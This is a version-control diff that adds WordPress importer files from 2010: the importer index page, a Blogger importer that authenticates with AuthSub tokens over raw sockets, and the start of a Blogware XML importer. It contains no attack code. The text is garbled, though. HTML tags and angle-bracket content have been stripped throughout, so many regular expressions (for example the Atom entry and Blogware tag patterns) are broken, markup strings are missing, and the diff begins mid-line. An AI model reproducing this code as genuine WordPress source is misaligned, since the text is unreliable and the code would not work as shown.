0d28b7c10758 web/wp-admin/images/wpspin_light.gif Binary file web/wp-admin/images/wpspin_light.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/xit.gif Binary file web/wp-admin/images/xit.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/yes.png Binary file web/wp-admin/images/yes.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/import.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/import.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,77 @@ + + +
+ +

+

+ +'.__('No importers are available.').'

'; // TODO: make more helpful +} else { +?> + + + $data) { + $style = ('class="alternate"' == $style || 'class="alternate active"' == $style) ? '' : 'alternate'; + $action = "{$data[0]}"; + + if ($style != '') + $style = 'class="'.$style.'"'; + echo " + + + + "; + } +?> + +
$action{$data[1]}
+ + +
+ + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/import/blogger.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/import/blogger.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1077 @@ + + ".screen_icon()." +

$title

+

$welcome

$prereqs

$stepone

+
+

+ + + + + +

+
+ \n"; + } + + function uh_oh($title, $message, $info) { + echo "
"; + screen_icon(); + echo "

$title

$message

$info
"; + } + + function auth() { + // We have a single-use token that must be upgraded to a session token. + $token = preg_replace( '/[^-_0-9a-zA-Z]/', '', $_GET['token'] ); + $headers = array( + "GET /accounts/AuthSubSessionToken HTTP/1.0", + "Authorization: AuthSub token=\"$token\"" + ); + $request = join( "\r\n", $headers ) . "\r\n\r\n"; + $sock = $this->_get_auth_sock( ); + if ( ! $sock ) return false; + $response = $this->_txrx( $sock, $request ); + preg_match( '/token=([-_0-9a-z]+)/i', $response, $matches ); + if ( empty( $matches[1] ) ) { + $this->uh_oh( + __( 'Authorization failed' ), + __( 'Something went wrong. If the problem persists, send this info to support:' ), + htmlspecialchars($response) + ); + return false; + } + $this->token = $matches[1]; + + wp_redirect( remove_query_arg( array( 'token', 'noheader' ) ) ); + } + + function get_token_info() { + $headers = array( + "GET /accounts/AuthSubTokenInfo HTTP/1.0", + "Authorization: AuthSub token=\"$this->token\"" + ); + $request = join( "\r\n", $headers ) . "\r\n\r\n"; + $sock = $this->_get_auth_sock( ); + if ( ! $sock ) return; + $response = $this->_txrx( $sock, $request ); + return $this->parse_response($response); + } + + function token_is_valid() { + $info = $this->get_token_info(); + + if ( $info['code'] == 200 ) + return true; + + return false; + } + + function show_blogs($iter = 0) { + if ( empty($this->blogs) ) { + $headers = array( + "GET /feeds/default/blogs HTTP/1.0", + "Host: www.blogger.com", + "Authorization: AuthSub token=\"$this->token\"" + ); + $request = join( "\r\n", $headers ) . "\r\n\r\n"; + $sock = $this->_get_blogger_sock( ); + if ( ! $sock ) return; + $response = $this->_txrx( $sock, $request ); + + // Quick and dirty XML mining. + list( $headers, $xml ) = explode( "\r\n\r\n", $response ); + $p = xml_parser_create(); + xml_parse_into_struct($p, $xml, $vals, $index); + xml_parser_free($p); + + $this->title = $vals[$index['TITLE'][0]]['value']; + + // Give it a few retries... this step often flakes out the first time. + if ( empty( $index['ENTRY'] ) ) { + if ( $iter < 3 ) { + return $this->show_blogs($iter + 1); + } else { + $this->uh_oh( + __('Trouble signing in'), + __('We were not able to gain access to your account. Try starting over.'), + '' + ); + return false; + } + } + + foreach ( $index['ENTRY'] as $i ) { + $blog = array(); + while ( ( $tag = $vals[$i] ) && ! ( $tag['tag'] == 'ENTRY' && $tag['type'] == 'close' ) ) { + if ( $tag['tag'] == 'TITLE' ) { + $blog['title'] = $tag['value']; + } elseif ( $tag['tag'] == 'SUMMARY' ) { + $blog['summary'] == $tag['value']; + } elseif ( $tag['tag'] == 'LINK' ) { + if ( $tag['attributes']['REL'] == 'alternate' && $tag['attributes']['TYPE'] == 'text/html' ) { + $parts = parse_url( $tag['attributes']['HREF'] ); + $blog['host'] = $parts['host']; + } elseif ( $tag['attributes']['REL'] == 'edit' ) + $blog['gateway'] = $tag['attributes']['HREF']; + } + ++$i; + } + if ( ! empty ( $blog ) ) { + $blog['total_posts'] = $this->get_total_results('posts', $blog['host']); + $blog['total_comments'] = $this->get_total_results('comments', $blog['host']); + $blog['mode'] = 'init'; + $this->blogs[] = $blog; + } + } + + if ( empty( $this->blogs ) ) { + $this->uh_oh( + __('No blogs found'), + __('We were able to log in but there were no blogs. Try a different account next time.'), + '' + ); + return false; + } + } +//echo '
'.print_r($this,1).'
'; + $start = esc_js( __('Import') ); + $continue = esc_js( __('Continue') ); + $stop = esc_js( __('Importing...') ); + $authors = esc_js( __('Set Authors') ); + $loadauth = esc_js( __('Preparing author mapping form...') ); + $authhead = esc_js( __('Final Step: Author Mapping') ); + $nothing = esc_js( __('Nothing was imported. Had you already imported this blog?') ); + $stopping = ''; //Missing String used below. + $title = __('Blogger Blogs'); + $name = __('Blog Name'); + $url = __('Blog URL'); + $action = __('The Magic Button'); + $posts = __('Posts'); + $comments = __('Comments'); + $noscript = __('This feature requires Javascript but it seems to be disabled. Please enable Javascript and then reload this page. Don’t worry, you can turn it back off when you’re done.'); + + $interval = STATUS_INTERVAL * 1000; + + foreach ( $this->blogs as $i => $blog ) { + if ( $blog['mode'] == 'init' ) + $value = $start; + elseif ( $blog['mode'] == 'posts' || $blog['mode'] == 'comments' ) + $value = $continue; + else + $value = $authors; + $value = esc_attr($value); + $blogtitle = esc_js( $blog['title'] ); + $pdone = isset($blog['posts_done']) ? (int) $blog['posts_done'] : 0; + $cdone = isset($blog['comments_done']) ? (int) $blog['comments_done'] : 0; + $init .= "blogs[$i]=new blog($i,'$blogtitle','{$blog['mode']}'," . $this->get_js_status($i) . ');'; + $pstat = "
 
$pdone/{$blog['total_posts']}
"; + $cstat = "
 
$cdone/{$blog['total_comments']}
"; + $rows .= "$blogtitle{$blog['host']}$pstat$cstat\n"; + } + + echo "

$title

\n$rows
$name$url$posts$comments$action
"; + echo " + \n"; + } + + // Handy function for stopping the script after a number of seconds. + function have_time() { + global $importer_started; + if ( time() - $importer_started > MAX_EXECUTION_TIME ) + die('continue'); + return true; + } + + function get_total_results($type, $host) { + $headers = array( + "GET /feeds/$type/default?max-results=1&start-index=2 HTTP/1.0", + "Host: $host", + "Authorization: AuthSub token=\"$this->token\"" + ); + $request = join( "\r\n", $headers ) . "\r\n\r\n"; + $sock = $this->_get_blogger_sock( $host ); + if ( ! $sock ) return; + $response = $this->_txrx( $sock, $request ); + $response = $this->parse_response( $response ); + $parser = xml_parser_create(); + xml_parse_into_struct($parser, $response['body'], $struct, $index); + xml_parser_free($parser); + $total_results = $struct[$index['OPENSEARCH:TOTALRESULTS'][0]]['value']; + return (int) $total_results; + } + + function import_blog($blogID) { + global $importing_blog; + $importing_blog = $blogID; + + if ( isset($_GET['authors']) ) + return print($this->get_author_form()); + + header('Content-Type: text/plain'); + + if ( isset($_GET['status']) ) + die($this->get_js_status()); + + if ( isset($_GET['saveauthors']) ) + die($this->save_authors()); + + $blog = $this->blogs[$blogID]; + $total_results = $this->get_total_results('posts', $blog['host']); + $this->blogs[$importing_blog]['total_posts'] = $total_results; + + $start_index = $total_results - MAX_RESULTS + 1; + + if ( isset( $this->blogs[$importing_blog]['posts_start_index'] ) ) + $start_index = (int) $this->blogs[$importing_blog]['posts_start_index']; + elseif ( $total_results > MAX_RESULTS ) + $start_index = $total_results - MAX_RESULTS + 1; + else + $start_index = 1; + + // This will be positive until we have finished importing posts + if ( $start_index > 0 ) { + // Grab all the posts + $this->blogs[$importing_blog]['mode'] = 'posts'; + $query = "start-index=$start_index&max-results=" . MAX_RESULTS; + do { + $index = $struct = $entries = array(); + $headers = array( + "GET /feeds/posts/default?$query HTTP/1.0", + "Host: {$blog['host']}", + "Authorization: AuthSub token=\"$this->token\"" + ); + $request = join( "\r\n", $headers ) . "\r\n\r\n"; + $sock = $this->_get_blogger_sock( $blog['host'] ); + if ( ! $sock ) return; // TODO: Error handling + $response = $this->_txrx( $sock, $request ); + + $response = $this->parse_response( $response ); + + // Extract the entries and send for insertion + preg_match_all( '/]*>.*?<\/entry>/s', $response['body'], $matches ); + if ( count( $matches[0] ) ) { + $entries = array_reverse($matches[0]); + foreach ( $entries as $entry ) { + $entry = "$entry"; + $AtomParser = new AtomParser(); + $AtomParser->parse( $entry ); + $result = $this->import_post($AtomParser->entry); + if ( is_wp_error( $result ) ) + return $result; + unset($AtomParser); + } + } else break; + + // Get the 'previous' query string which we'll use on the next iteration + $query = ''; + $links = preg_match_all('/]*)>/', $response['body'], $matches); + if ( count( $matches[1] ) ) + foreach ( $matches[1] as $match ) + if ( preg_match('/rel=.previous./', $match) ) + $query = @html_entity_decode( preg_replace('/^.*href=[\'"].*\?(.+)[\'"].*$/', '$1', $match), ENT_COMPAT, get_option('blog_charset') ); + + if ( $query ) { + parse_str($query, $q); + $this->blogs[$importing_blog]['posts_start_index'] = (int) $q['start-index']; + } else + $this->blogs[$importing_blog]['posts_start_index'] = 0; + $this->save_vars(); + } while ( !empty( $query ) && $this->have_time() ); + } + + $total_results = $this->get_total_results( 'comments', $blog['host'] ); + $this->blogs[$importing_blog]['total_comments'] = $total_results; + + if ( isset( $this->blogs[$importing_blog]['comments_start_index'] ) ) + $start_index = (int) $this->blogs[$importing_blog]['comments_start_index']; + elseif ( $total_results > MAX_RESULTS ) + $start_index = $total_results - MAX_RESULTS + 1; + else + $start_index = 1; + + if ( $start_index > 0 ) { + // Grab all the comments + $this->blogs[$importing_blog]['mode'] = 'comments'; + $query = "start-index=$start_index&max-results=" . MAX_RESULTS; + do { + $index = $struct = $entries = array(); + $headers = array( + "GET /feeds/comments/default?$query HTTP/1.0", + "Host: {$blog['host']}", + "Authorization: AuthSub token=\"$this->token\"" + ); + $request = join( "\r\n", $headers ) . "\r\n\r\n"; + $sock = $this->_get_blogger_sock( $blog['host'] ); + if ( ! $sock ) return; // TODO: Error handling + $response = $this->_txrx( $sock, $request ); + + $response = $this->parse_response( $response ); + + // Extract the comments and send for insertion + preg_match_all( '/]*>.*?<\/entry>/s', $response['body'], $matches ); + if ( count( $matches[0] ) ) { + $entries = array_reverse( $matches[0] ); + foreach ( $entries as $entry ) { + $entry = "$entry"; + $AtomParser = new AtomParser(); + $AtomParser->parse( $entry ); + $this->import_comment($AtomParser->entry); + unset($AtomParser); + } + } + + // Get the 'previous' query string which we'll use on the next iteration + $query = ''; + $links = preg_match_all('/]*)>/', $response['body'], $matches); + if ( count( $matches[1] ) ) + foreach ( $matches[1] as $match ) + if ( preg_match('/rel=.previous./', $match) ) + $query = @html_entity_decode( preg_replace('/^.*href=[\'"].*\?(.+)[\'"].*$/', '$1', $match), ENT_COMPAT, get_option('blog_charset') ); + + parse_str($query, $q); + + $this->blogs[$importing_blog]['comments_start_index'] = (int) $q['start-index']; + $this->save_vars(); + } while ( !empty( $query ) && $this->have_time() ); + } + $this->blogs[$importing_blog]['mode'] = 'authors'; + $this->save_vars(); + if ( !$this->blogs[$importing_blog]['posts_done'] && !$this->blogs[$importing_blog]['comments_done'] ) + die('nothing'); + do_action('import_done', 'blogger'); + die('done'); + } + + function convert_date( $date ) { + preg_match('#([0-9]{4})-([0-9]{2})-([0-9]{2})T([0-9]{2}):([0-9]{2}):([0-9]{2})(?:\.[0-9]+)?(Z|[\+|\-][0-9]{2,4}){0,1}#', $date, $date_bits); + $offset = iso8601_timezone_to_offset( $date_bits[7] ); + $timestamp = gmmktime($date_bits[4], $date_bits[5], $date_bits[6], $date_bits[2], $date_bits[3], $date_bits[1]); + $timestamp -= $offset; // Convert from Blogger local time to GMT + $timestamp += get_option('gmt_offset') * 3600; // Convert from GMT to WP local time + return gmdate('Y-m-d H:i:s', $timestamp); + } + + function no_apos( $string ) { + return str_replace( ''', "'", $string); + } + + function min_whitespace( $string ) { + return preg_replace( '|\s+|', ' ', $string ); + } + + function _normalize_tag( $matches ) { + return '<' . strtolower( $matches[1] ); + } + + function import_post( $entry ) { + global $importing_blog; + + // The old permalink is all Blogger gives us to link comments to their posts. + if ( isset( $entry->draft ) ) + $rel = 'self'; + else + $rel = 'alternate'; + foreach ( $entry->links as $link ) { + if ( $link['rel'] == $rel ) { + $parts = parse_url( $link['href'] ); + $entry->old_permalink = $parts['path']; + break; + } + } + + $post_date = $this->convert_date( $entry->published ); + $post_content = trim( addslashes( $this->no_apos( @html_entity_decode( $entry->content, ENT_COMPAT, get_option('blog_charset') ) ) ) ); + $post_title = trim( addslashes( $this->no_apos( $this->min_whitespace( $entry->title ) ) ) ); + $post_status = isset( $entry->draft ) ? 'draft' : 'publish'; + + // Clean up content + $post_content = preg_replace_callback('|<(/?[A-Z]+)|', array( &$this, '_normalize_tag' ), $post_content); + $post_content = str_replace('
', '
', $post_content); + $post_content = str_replace('
', '
', $post_content); + + // Checks for duplicates + if ( isset( $this->blogs[$importing_blog]['posts'][$entry->old_permalink] ) ) { + ++$this->blogs[$importing_blog]['posts_skipped']; + } elseif ( $post_id = post_exists( $post_title, $post_content, $post_date ) ) { + $this->blogs[$importing_blog]['posts'][$entry->old_permalink] = $post_id; + ++$this->blogs[$importing_blog]['posts_skipped']; + } else { + $post = compact('post_date', 'post_content', 'post_title', 'post_status'); + + $post_id = wp_insert_post($post); + if ( is_wp_error( $post_id ) ) + return $post_id; + + wp_create_categories( array_map( 'addslashes', $entry->categories ), $post_id ); + + $author = $this->no_apos( strip_tags( $entry->author ) ); + + add_post_meta( $post_id, 'blogger_blog', $this->blogs[$importing_blog]['host'], true ); + add_post_meta( $post_id, 'blogger_author', $author, true ); + add_post_meta( $post_id, 'blogger_permalink', $entry->old_permalink, true ); + + $this->blogs[$importing_blog]['posts'][$entry->old_permalink] = $post_id; + ++$this->blogs[$importing_blog]['posts_done']; + } + $this->save_vars(); + return; + } + + function import_comment( $entry ) { + global $importing_blog; + + // Drop the #fragment and we have the comment's old post permalink. + foreach ( $entry->links as $link ) { + if ( $link['rel'] == 'alternate' ) { + $parts = parse_url( $link['href'] ); + $entry->old_permalink = $parts['fragment']; + $entry->old_post_permalink = $parts['path']; + break; + } + } + + $comment_post_ID = (int) $this->blogs[$importing_blog]['posts'][$entry->old_post_permalink]; + preg_match('#(.+?).*(?:\(.+?))?#', $entry->author, $matches); + $comment_author = addslashes( $this->no_apos( strip_tags( (string) $matches[1] ) ) ); + $comment_author_url = addslashes( $this->no_apos( strip_tags( (string) $matches[2] ) ) ); + $comment_date = $this->convert_date( $entry->updated ); + $comment_content = addslashes( $this->no_apos( @html_entity_decode( $entry->content, ENT_COMPAT, get_option('blog_charset') ) ) ); + + // Clean up content + $comment_content = preg_replace_callback('|<(/?[A-Z]+)|', array( &$this, '_normalize_tag' ), $comment_content); + $comment_content = str_replace('
', '
', $comment_content); + $comment_content = str_replace('
', '
', $comment_content); + + // Checks for duplicates + if ( + isset( $this->blogs[$importing_blog]['comments'][$entry->old_permalink] ) || + comment_exists( $comment_author, $comment_date ) + ) { + ++$this->blogs[$importing_blog]['comments_skipped']; + } else { + $comment = compact('comment_post_ID', 'comment_author', 'comment_author_url', 'comment_date', 'comment_content'); + + $comment = wp_filter_comment($comment); + $comment_id = wp_insert_comment($comment); + + $this->blogs[$importing_blog]['comments'][$entry->old_permalink] = $comment_id; + + ++$this->blogs[$importing_blog]['comments_done']; + } + $this->save_vars(); + } + + function get_js_status($blog = false) { + global $importing_blog; + if ( $blog === false ) + $blog = $this->blogs[$importing_blog]; + else + $blog = $this->blogs[$blog]; + $p1 = isset( $blog['posts_done'] ) ? (int) $blog['posts_done'] : 0; + $p2 = isset( $blog['total_posts'] ) ? (int) $blog['total_posts'] : 0; + $c1 = isset( $blog['comments_done'] ) ? (int) $blog['comments_done'] : 0; + $c2 = isset( $blog['total_comments'] ) ? (int) $blog['total_comments'] : 0; + return "{p1:$p1,p2:$p2,c1:$c1,c2:$c2}"; + } + + function get_author_form($blog = false) { + global $importing_blog, $wpdb, $current_user; + if ( $blog === false ) + $blog = & $this->blogs[$importing_blog]; + else + $blog = & $this->blogs[$blog]; + + if ( !isset( $blog['authors'] ) ) { + $post_ids = array_values($blog['posts']); + $authors = (array) $wpdb->get_col("SELECT DISTINCT meta_value FROM $wpdb->postmeta WHERE meta_key = 'blogger_author' AND post_id IN (" . join( ',', $post_ids ) . ")"); + $blog['authors'] = array_map(null, $authors, array_fill(0, count($authors), $current_user->ID)); + $this->save_vars(); + } + + $directions = __('All posts were imported with the current user as author. Use this form to move each Blogger user’s posts to a different WordPress user. You may add users and then return to this page and complete the user mapping. This form may be used as many times as you like until you activate the “Restart” function below.'); + $heading = __('Author mapping'); + $blogtitle = "{$blog['title']} ({$blog['host']})"; + $mapthis = __('Blogger username'); + $tothis = __('WordPress login'); + $submit = esc_js( __('Save Changes') ); + + foreach ( $blog['authors'] as $i => $author ) + $rows .= ""; + + return "

$heading

$blogtitle

$directions

$rows
$mapthis$tothis
"; + } + + function get_user_options($current) { + global $importer_users; + if ( ! isset( $importer_users ) ) + $importer_users = (array) get_users_of_blog(); + + foreach ( $importer_users as $user ) { + $sel = ( $user->user_id == $current ) ? " selected='selected'" : ''; + $options .= ""; + } + + return $options; + } + + function save_authors() { + global $importing_blog, $wpdb; + $authors = (array) $_POST['authors']; + + $host = $this->blogs[$importing_blog]['host']; + + // Get an array of posts => authors + $post_ids = (array) $wpdb->get_col( $wpdb->prepare("SELECT post_id FROM $wpdb->postmeta WHERE meta_key = 'blogger_blog' AND meta_value = %s", $host) ); + $post_ids = join( ',', $post_ids ); + $results = (array) $wpdb->get_results("SELECT post_id, meta_value FROM $wpdb->postmeta WHERE meta_key = 'blogger_author' AND post_id IN ($post_ids)"); + foreach ( $results as $row ) + $authors_posts[$row->post_id] = $row->meta_value; + + foreach ( $authors as $author => $user_id ) { + $user_id = (int) $user_id; + + // Skip authors that haven't been changed + if ( $user_id == $this->blogs[$importing_blog]['authors'][$author][1] ) + continue; + + // Get a list of the selected author's posts + $post_ids = (array) array_keys( $authors_posts, $this->blogs[$importing_blog]['authors'][$author][0] ); + $post_ids = join( ',', $post_ids); + + $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET post_author = %d WHERE id IN ($post_ids)", $user_id) ); + $this->blogs[$importing_blog]['authors'][$author][1] = $user_id; + } + $this->save_vars(); + + wp_redirect('edit.php'); + } + + function _get_auth_sock() { + // Connect to https://www.google.com + if ( !$sock = @ fsockopen('ssl://www.google.com', 443, $errno, $errstr) ) { + $this->uh_oh( + __('Could not connect to https://www.google.com'), + __('There was a problem opening a secure connection to Google. This is what went wrong:'), + "$errstr ($errno)" + ); + return false; + } + return $sock; + } + + function _get_blogger_sock($host = 'www2.blogger.com') { + if ( !$sock = @ fsockopen($host, 80, $errno, $errstr) ) { + $this->uh_oh( + sprintf( __('Could not connect to %s'), $host ), + __('There was a problem opening a connection to Blogger. This is what went wrong:'), + "$errstr ($errno)" + ); + return false; + } + return $sock; + } + + function _txrx( $sock, $request ) { + fwrite( $sock, $request ); + while ( ! feof( $sock ) ) + $response .= @ fread ( $sock, 8192 ); + fclose( $sock ); + return $response; + } + + function revoke($token) { + $headers = array( + "GET /accounts/AuthSubRevokeToken HTTP/1.0", + "Authorization: AuthSub token=\"$token\"" + ); + $request = join( "\r\n", $headers ) . "\r\n\r\n"; + $sock = $this->_get_auth_sock( ); + if ( ! $sock ) return false; + $this->_txrx( $sock, $request ); + } + + function restart() { + global $wpdb; + $options = get_option( 'blogger_importer' ); + + if ( isset( $options['token'] ) ) + $this->revoke( $options['token'] ); + + delete_option('blogger_importer'); + $wpdb->query("DELETE FROM $wpdb->postmeta WHERE meta_key = 'blogger_author'"); + wp_redirect('?import=blogger'); + } + + // Returns associative array of code, header, cookies, body. Based on code from php.net. + function parse_response($this_response) { + // Split response into header and body sections + list($response_headers, $response_body) = explode("\r\n\r\n", $this_response, 2); + $response_header_lines = explode("\r\n", $response_headers); + + // First line of headers is the HTTP response code + $http_response_line = array_shift($response_header_lines); + if(preg_match('@^HTTP/[0-9]\.[0-9] ([0-9]{3})@',$http_response_line, $matches)) { $response_code = $matches[1]; } + + // put the rest of the headers in an array + $response_header_array = array(); + foreach($response_header_lines as $header_line) { + list($header,$value) = explode(': ', $header_line, 2); + $response_header_array[$header] .= $value."\n"; + } + + $cookie_array = array(); + $cookies = explode("\n", $response_header_array["Set-Cookie"]); + foreach($cookies as $this_cookie) { array_push($cookie_array, "Cookie: ".$this_cookie); } + + return array("code" => $response_code, "header" => $response_header_array, "cookies" => $cookie_array, "body" => $response_body); + } + + // Step 9: Congratulate the user + function congrats() { + $blog = (int) $_GET['blog']; + echo '

'.__('Congratulations!').'

'.__('Now that you have imported your Blogger blog into WordPress, what are you going to do? Here are some suggestions:').'

  • '.__('That was hard work! Take a break.').'
  • '; + if ( count($this->import['blogs']) > 1 ) + echo '
  • '.__('In case you haven’t done it already, you can import the posts from your other blogs:'). $this->show_blogs() . '
  • '; + if ( $n = count($this->import['blogs'][$blog]['newusers']) ) + echo '
  • '.sprintf(__('Go to Authors & Users, where you can modify the new user(s) or delete them. If you want to make all of the imported posts yours, you will be given that option when you delete the new authors.'), 'users.php', '_parent').'
  • '; + echo '
  • '.__('For security, click the link below to reset this importer.').'
  • '; + echo '
'; + } + + // Figures out what to do, then does it. + function start() { + if ( isset($_POST['restart']) ) + $this->restart(); + + $options = get_option('blogger_importer'); + + if ( is_array($options) ) + foreach ( $options as $key => $value ) + $this->$key = $value; + + if ( isset( $_REQUEST['blog'] ) ) { + $blog = is_array($_REQUEST['blog']) ? array_shift( $keys = array_keys( $_REQUEST['blog'] ) ) : $_REQUEST['blog']; + $blog = (int) $blog; + $result = $this->import_blog( $blog ); + if ( is_wp_error( $result ) ) + echo $result->get_error_message(); + } elseif ( isset($_GET['token']) ) + $this->auth(); + elseif ( isset($this->token) && $this->token_is_valid() ) + $this->show_blogs(); + else + $this->greet(); + + $saved = $this->save_vars(); + + if ( $saved && !isset($_GET['noheader']) ) { + $restart = __('Restart'); + $message = __('We have saved some information about your Blogger account in your WordPress database. Clearing this information will allow you to start over. Restarting will not affect any posts you have already imported. If you attempt to re-import a blog, duplicate posts and comments will be skipped.'); + $submit = esc_attr__('Clear account information'); + echo "

$restart

$message

"; + } + } + + function save_vars() { + $vars = get_object_vars($this); + update_option( 'blogger_importer', $vars ); + + return !empty($vars); + } + + function admin_head() { +?> + +entry = new AtomEntry(); + } + + function _map_attrs_func( $k, $v ) { + return "$k=\"$v\""; + } + + function _map_xmlns_func( $p, $n ) { + $xd = "xmlns"; + if ( strlen( $n[0] ) > 0 ) + $xd .= ":{$n[0]}"; + + return "{$xd}=\"{$n[1]}\""; + } + + function parse($xml) { + + global $app_logging; + array_unshift($this->ns_contexts, array()); + + $parser = xml_parser_create_ns(); + xml_set_object($parser, $this); + xml_set_element_handler($parser, "start_element", "end_element"); + xml_parser_set_option($parser,XML_OPTION_CASE_FOLDING,0); + xml_parser_set_option($parser,XML_OPTION_SKIP_WHITE,0); + xml_set_character_data_handler($parser, "cdata"); + xml_set_default_handler($parser, "_default"); + xml_set_start_namespace_decl_handler($parser, "start_ns"); + xml_set_end_namespace_decl_handler($parser, "end_ns"); + + $contents = ""; + + xml_parse($parser, $xml); + + xml_parser_free($parser); + + return true; + } + + function start_element($parser, $name, $attrs) { + + $tag = array_pop(split(":", $name)); + + array_unshift($this->ns_contexts, $this->ns_decls); + + $this->depth++; + + if(!empty($this->in_content)) { + $attrs_prefix = array(); + + // resolve prefixes for attributes + foreach($attrs as $key => $value) { + $attrs_prefix[$this->ns_to_prefix($key)] = $this->xml_escape($value); + } + $attrs_str = join(' ', array_map( array( &$this, '_map_attrs_func' ), array_keys($attrs_prefix), array_values($attrs_prefix))); + if(strlen($attrs_str) > 0) { + $attrs_str = " " . $attrs_str; + } + + $xmlns_str = join(' ', array_map( array( &$this, '_map_xmlns_func' ), array_keys($this->ns_contexts[0]), array_values($this->ns_contexts[0]))); + if(strlen($xmlns_str) > 0) { + $xmlns_str = " " . $xmlns_str; + } + + // handle self-closing tags (case: a new child found right-away, no text node) + if(count($this->in_content) == 2) { + array_push($this->in_content, ">"); + } + + array_push($this->in_content, "<". $this->ns_to_prefix($name) ."{$xmlns_str}{$attrs_str}"); + } else if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS) || in_array($tag, $this->ATOM_SIMPLE_ELEMENTS)) { + $this->in_content = array(); + $this->is_xhtml = $attrs['type'] == 'xhtml'; + array_push($this->in_content, array($tag,$this->depth)); + } else if($tag == 'link') { + array_push($this->entry->links, $attrs); + } else if($tag == 'category') { + array_push($this->entry->categories, $attrs['term']); + } + + $this->ns_decls = array(); + } + + function end_element($parser, $name) { + + $tag = array_pop(split(":", $name)); + + if(!empty($this->in_content)) { + if($this->in_content[0][0] == $tag && + $this->in_content[0][1] == $this->depth) { + array_shift($this->in_content); + if($this->is_xhtml) { + $this->in_content = array_slice($this->in_content, 2, count($this->in_content)-3); + } + $this->entry->$tag = join('',$this->in_content); + $this->in_content = array(); + } else { + $endtag = $this->ns_to_prefix($name); + if (strpos($this->in_content[count($this->in_content)-1], '<' . $endtag) !== false) { + array_push($this->in_content, "/>"); + } else { + array_push($this->in_content, ""); + } + } + } + + array_shift($this->ns_contexts); + + #print str_repeat(" ", $this->depth * $this->indent) . "end_element('$name')" ."\n"; + + $this->depth--; + } + + function start_ns($parser, $prefix, $uri) { + #print str_repeat(" ", $this->depth * $this->indent) . "starting: " . $prefix . ":" . $uri . "\n"; + array_push($this->ns_decls, array($prefix,$uri)); + } + + function end_ns($parser, $prefix) { + #print str_repeat(" ", $this->depth * $this->indent) . "ending: #" . $prefix . "#\n"; + } + + function cdata($parser, $data) { + #print str_repeat(" ", $this->depth * $this->indent) . "data: #" . $data . "#\n"; + if(!empty($this->in_content)) { + // handle self-closing tags (case: text node found, need to close element started) + if (strpos($this->in_content[count($this->in_content)-1], '<') !== false) { + array_push($this->in_content, ">"); + } + array_push($this->in_content, $this->xml_escape($data)); + } + } + + function _default($parser, $data) { + # when does this gets called? + } + + + function ns_to_prefix($qname) { + $components = split(":", $qname); + $name = array_pop($components); + + if(!empty($components)) { + $ns = join(":",$components); + foreach($this->ns_contexts as $context) { + foreach($context as $mapping) { + if($mapping[1] == $ns && strlen($mapping[0]) > 0) { + return "$mapping[0]:$name"; + } + } + } + } + return $name; + } + + function xml_escape($string) + { + return str_replace(array('&','"',"'",'<','>'), + array('&','"',''','<','>'), + $string ); + } +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/import/blogware.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/import/blogware.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,219 @@ +'; + screen_icon(); + echo '

'.__('Import Blogware').'

'; + } + + function footer() { + echo ''; + } + + function unhtmlentities($string) { // From php.net for < 4.3 compat + $trans_tbl = get_html_translation_table(HTML_ENTITIES); + $trans_tbl = array_flip($trans_tbl); + return strtr($string, $trans_tbl); + } + + function greet() { + echo '
'; + echo '

'.__('Howdy! This importer allows you to extract posts from Blogware XML export file into your blog. Pick a Blogware file to upload and click Import.').'

'; + wp_import_upload_form("admin.php?import=blogware&step=1"); + echo '
'; + } + + function _normalize_tag( $matches ) { + return '<' . strtolower( $matches[1] ); + } + + function import_posts() { + global $wpdb, $current_user; + + set_magic_quotes_runtime(0); + $importdata = file($this->file); // Read the file into an array + $importdata = implode('', $importdata); // squish it + $importdata = str_replace(array ("\r\n", "\r"), "\n", $importdata); + + preg_match_all('|(]+>(.*?))|is', $importdata, $posts); + $posts = $posts[1]; + unset($importdata); + echo '
    '; + foreach ($posts as $post) { + flush(); + preg_match('||is', $post, $post_type); + $post_type = $post_type[1]; + if($post_type == "photo") { + preg_match('|(.*?)|is', $post, $post_title); + } else { + preg_match('|(.*?)|is', $post, $post_title); + } + $post_title = $wpdb->escape(trim($post_title[1])); + + preg_match('|(.*?)|is', $post, $post_date); + $post_date = strtotime($post_date[1]); + $post_date = gmdate('Y-m-d H:i:s', $post_date); + + preg_match_all('|(.*?)|is', $post, $categories); + $categories = $categories[1]; + + $cat_index = 0; + foreach ($categories as $category) { + $categories[$cat_index] = $wpdb->escape($this->unhtmlentities($category)); + $cat_index++; + } + + if(strcasecmp($post_type, "photo") === 0) { + preg_match('|(.*?)|is', $post, $post_content); + $post_content = ''; + $post_content = $this->unhtmlentities($post_content); + } else { + preg_match('|(.*?)|is', $post, $post_content); + $post_content = str_replace(array (''), '', trim($post_content[1])); + $post_content = $this->unhtmlentities($post_content); + } + + // Clean up content + $post_content = preg_replace_callback('|<(/?[A-Z]+)|', array( &$this, '_normalize_tag' ), $post_content); + $post_content = str_replace('
    ', '
    ', $post_content); + $post_content = str_replace('
    ', '
    ', $post_content); + $post_content = $wpdb->escape($post_content); + + $post_author = $current_user->ID; + preg_match('|(.*?)|is', $post, $post_status); + $post_status = trim($post_status[1]); + + echo '
  1. '; + if ($post_id = post_exists($post_title, $post_content, $post_date)) { + printf(__('Post %s already exists.'), stripslashes($post_title)); + } else { + printf(__('Importing post %s...'), stripslashes($post_title)); + $postdata = compact('post_author', 'post_date', 'post_content', 'post_title', 'post_status'); + $post_id = wp_insert_post($postdata); + if ( is_wp_error( $post_id ) ) { + return $post_id; + } + if (!$post_id) { + _e('Couldn’t get post ID'); + echo '
